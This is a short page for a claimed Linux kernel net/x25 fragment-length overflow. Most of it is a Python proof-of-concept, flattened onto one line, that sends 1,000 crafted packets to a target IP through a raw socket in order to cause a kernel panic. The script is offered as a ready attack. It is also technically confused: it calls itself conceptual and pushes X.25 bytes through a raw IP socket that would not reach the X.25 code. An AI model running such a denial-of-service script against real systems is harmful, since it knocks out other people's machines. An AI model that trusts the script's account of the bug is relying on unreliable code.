CVE-2026-31417 Linux内核net/x25数据包累积溢出漏洞

import socket import struct import time # PoC for CVE-2026-31417: Linux Kernel net/x25 overflow # This script attempts to trigger the fraglen overflow by sending crafted X.25 packets. # Note: Target system must have X.25 support enabled in the kernel. def create_x25_packet(): # Constructing a simplified X.25 packet header. # In a real exploit, specific bit patterns would be used to manipulate fraglen. # This is a conceptual demonstration. # X.25 Q-bit / D-bit modifiers can sometimes affect fragmentation handling header = b"\x03" # General Format Identifier header += b"\x00" # Logical Channel Group Number header += b"\x01" # Logical Channel Number header += b"\x01" # Packet Type (Call Request or Data) # Payload designed to fragment and accumulate in fraglen payload = b"\x41" * 1024 return header + payload def send_exploit(target_ip): try: # AF_INET is used here for demonstration, actual X.25 might require specific AF_X25 or raw sockets # depending on the system configuration (e.g., XOT - X.25 over TCP). # This assumes a raw socket or a socket bound to an X.25 interface. print(f"[*] Sending packets to {target_ip} to trigger fraglen overflow...") # If running in an environment with X.25 over IP (XOT), one might target a specific port. # Otherwise, this requires access to the raw layer. # For simulation purposes, we use UDP/ICMP raw socket structure if X.25 is not directly available. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) for i in range(1000): packet = create_x25_packet() # Sending crafted packets to trigger the accumulation logic s.sendto(packet, (target_ip, 0)) print("[+] Exploit packets sent. Check target for kernel panic or instability.") except PermissionError: print("[-] Error: Root privileges are required to send raw sockets.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP send_exploit(target)